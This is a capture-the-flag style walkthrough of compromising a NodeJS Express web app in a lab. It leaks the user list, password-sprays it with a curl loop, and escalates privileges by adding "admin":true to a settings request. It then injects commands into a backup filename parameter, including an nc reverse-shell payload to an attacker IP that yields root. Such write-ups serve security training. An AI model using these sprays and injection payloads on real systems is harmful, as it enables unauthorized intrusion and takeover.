Summary

We’ll brute-force user credentials in a NodeJS web application to gain a foothold on this target. We’ll then exploit an OS command injection vulnerability in the same application to obtain a root shell.

Enumeration

Nmap

Let’s begin with a simple nmap TCP scan:

kali@kali:~$ sudo nmap -p- 192.168.120.127
Starting Nmap 7.80 ( <https://nmap.org> ) at 2020-10-09 12:05 EDT
Nmap scan report for 192.168.120.127
Host is up (0.031s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

We’ll further scan the application on port 80 in an attempt to further identify the server type.

kali@kali:~$ sudo nmap -p 80 192.168.120.127 -sV
Starting Nmap 7.80 ( <https://nmap.org> ) at 2020-10-09 12:08 EDT
Nmap scan report for 192.168.120.127
Host is up (0.031s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Node.js Express framework

This appears to be a web server running NodeJS Express.

Web Enumeration

Let’s set up the web browser to use Burp proxy to help identify the exact requests the front-end interface is making to the server. After visiting the default web page (http://192.168.120.127/), we observe the following:

  • a GET request is sent to /api/settings that results in HTTP/1.1 401 Unauthorized
  • a GET request is sent to /api/users that results in HTTP/1.1 200 OK

The page also contains a list of “Top Users”:

1. zachery
2. burt
3. mary
4. evan
5. clare
6. rickie
7. orlando
8. twila
9. zachariah
10. joy

When we click on the Dark button, we observe the following POST request:

POST /api/settings HTTP/1.1
Host: 192.168.120.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 22
Origin: <http://192.168.120.127>
Connection: close
Referer: <http://192.168.120.127/>

{"color-theme":"dark"}

The response is as follows:

HTTP/1.1 401 Unauthorized
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Content-Length: 12
ETag: W/"c-dAuDFQrdjS3hezqxDTNgW7AOlYk"
Date: Mon, 12 Oct 2020 13:01:47 GMT
Connection: close

Unauthorized

We’ll take a note of this information and move on.

Exploitation

Leaking More Users

Navigating to /api/users, we receive the following response:

HTTP/1.1 304 Not Modified
X-Powered-By: Express
ETag: W/"44df-Bn+qiRrYHrX450lifQ2et5+YwdY"
Date: Fri, 09 Oct 2020 16:17:56 GMT
Connection: close

More importantly, the content includes the application’s entire user list:

kali@kali:~$ curl <http://192.168.120.127/api/users>
["frieda","delia","luisa","clyde","colby","stephanie","marion","fredric","georgina","flora","jonas",
...
"amos","tammy","spencer","elma","graciela","lester","eula","dev-acct","shaun","laurie","cedric","rhea",
...

Password Spray

Next, let’s try to log in with test credentials. This provides the following response:

POST /login HTTP/1.1
Host: 192.168.120.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 37
Origin: <http://192.168.120.127>
Connection: close
Referer: <http://192.168.120.127/>

{"username":"test","password":"test"}

This generates a failure.

HTTP/1.1 401 Unauthorized
X-Powered-By: Express
Date: Fri, 09 Oct 2020 16:21:03 GMT
Connection: close
Content-Length: 12

Unauthorized

Let’s password-spray the users with the password of password. We’ll install the jq package to assist with this, capturing the usernames one-per-row:

kali@kali:~$ sudo apt-get install jq -y
Get:1 <http://kali.download/kali> kali-rolling/main amd64 libonig5 amd64 6.9.5-2 [182 kB]
Get:2 <http://kali.download/kali> kali-rolling/main amd64 libjq1 amd64 1.6-1 [133 kB]
Get:3 <http://kali.download/kali> kali-rolling/main amd64 jq amd64 1.6-1 [63.4 kB]
Fetched 378 kB in 1s (444 kB/s)
...
kali@kali:~$

Now we can fetch the user list and pipe it into jq:

kali@kali:~$ curl <http://192.168.120.127/api/users> | jq '.[]' -r > users.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 17631  100 17631    0     0   175k      0 --:--:-- --:--:-- --:--:--  173k
kali@kali:~$ head users.txt
frieda
delia
luisa
clyde
colby
stephanie
marion
fredric
georgina
flora
kali@kali:~$

We’ll use a bash script to perform the password spray, using this username list as input.

kali@kali:~$ for user in $(cat users.txt); do curl '<http://192.168.120.127/login>' --data "{\\"username\\":\\"${user}\\",\\"password\\":\\"password\\"}" -H "Content-Type: application/json" 2>/dev/null | grep -v Unauthorized && echo $user ; done
OK
dev-acct
kali@kali:~$

Impersonating Admin User

We are able to login successfully with the dev-acct:password credentials. As we log in to the website with these credentials, the login form disappears, allowing us to further investigate the /api/settings endpoint.

The Burp history reveals that our POST request to /api/settings now returns a 200 OK instead of 401 Unauthorized. In addition, the POST requests are returning JSON data containing our account settings:

{"color-theme":"light","lang":"en","admin":false}

Let’s click on the Dark button and then forward the captured request to the Repeater tab in Burp. In the body of the request, we’ll append "admin":true to the JSON as follows:

POST /api/settings HTTP/1.1
Host: 192.168.120.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 35
Origin: <http://192.168.120.127>
Connection: close
Referer: <http://192.168.120.127/>
Cookie: connect.sid=s%3AKOYlSeEABkSVNpIYQj3XwAhlitHWC8lt.Fb%2Be3zVcpIClXV1Q4xNOShygp0xWFiywDm%2FNPLLRh%2FA

{"color-theme":"dark","admin":true}

After we send this to the server, all subsequent requests now include "admin":true. That means that we are now successfully impersonating the admin user in the application.

Command Injection

When we refresh the page, we discover that we can now perform a backup of the web app’s log files. The interface contains a text field (with the default value of Logbackup), and a Backup Logs button. Leaving the text field blank and clicking the button returns the following:

Backup created
Created backup: Created backup: /var/log/app/logfile-undefined.1602522817206.gz

Let’s attempt command injection on this field. For example, we can attempt to instruct the target to send ICMP requests to our attack machine with the following payload:

; ping -c 2 192.168.118.3;

Here’s the request:

GET /api/backup?filename=;%20ping%20-c%202%20192.168.118.3; HTTP/1.1
Host: 192.168.120.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: <http://192.168.120.127/>
Cookie: connect.sid=s%3AKOYlSeEABkSVNpIYQj3XwAhlitHWC8lt.Fb%2Be3zVcpIClXV1Q4xNOShygp0xWFiywDm%2FNPLLRh%2FA

Let’s run tcpdump, filtering for ICMP packets.

kali@kali:~$ sudo tcpdump -i tap0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tap0, link-type EN10MB (Ethernet), capture size 262144 bytes
13:03:59.804083 IP 192.168.120.127 > kali: ICMP echo request, id 900, seq 1, length 64
13:03:59.804276 IP kali > 192.168.120.127: ICMP echo reply, id 900, seq 1, length 64
13:04:00.806200 IP 192.168.120.127 > kali: ICMP echo request, id 900, seq 2, length 64
13:04:00.806252 IP kali > 192.168.120.127: ICMP echo reply, id 900, seq 2, length 64
^C
4 packets captured
4 packets received by filter
4 packets dropped by kernel
kali@kali:~$

This reveals that the target machine indeed pinged our attack machine. We have obtained command injection.

Reverse Shell

Leveraging this command injection vulnerability, let’s attempt to upgrade to a reverse shell. We’ll start a netcat listener on port 4444 and then use the following payload to send the shell:

GET /api/backup?filename=;%20nc%20192.168.118.3%204444%20-e%20/bin/sh; HTTP/1.1
Host: 192.168.120.127
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: <http://192.168.120.127/>
Cookie: connect.sid=s%3AKOYlSeEABkSVNpIYQj3XwAhlitHWC8lt.Fb%2Be3zVcpIClXV1Q4xNOShygp0xWFiywDm%2FNPLLRh%2FA

We receive a shell.

kali@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
192.168.120.127: inverse host lookup failed: Unknown host
connect to [192.168.118.3] from (UNKNOWN) [192.168.120.127] 57636
python -c 'import pty; pty.spawn("/bin/bash")'
root@interface:/var/www/app/dist# whoami
whoami
root
root@interface:/var/www/app/dist#

Not only have we obtained a shell, but because the web server was misconfigured to run as root, we’ve obtained a root shell!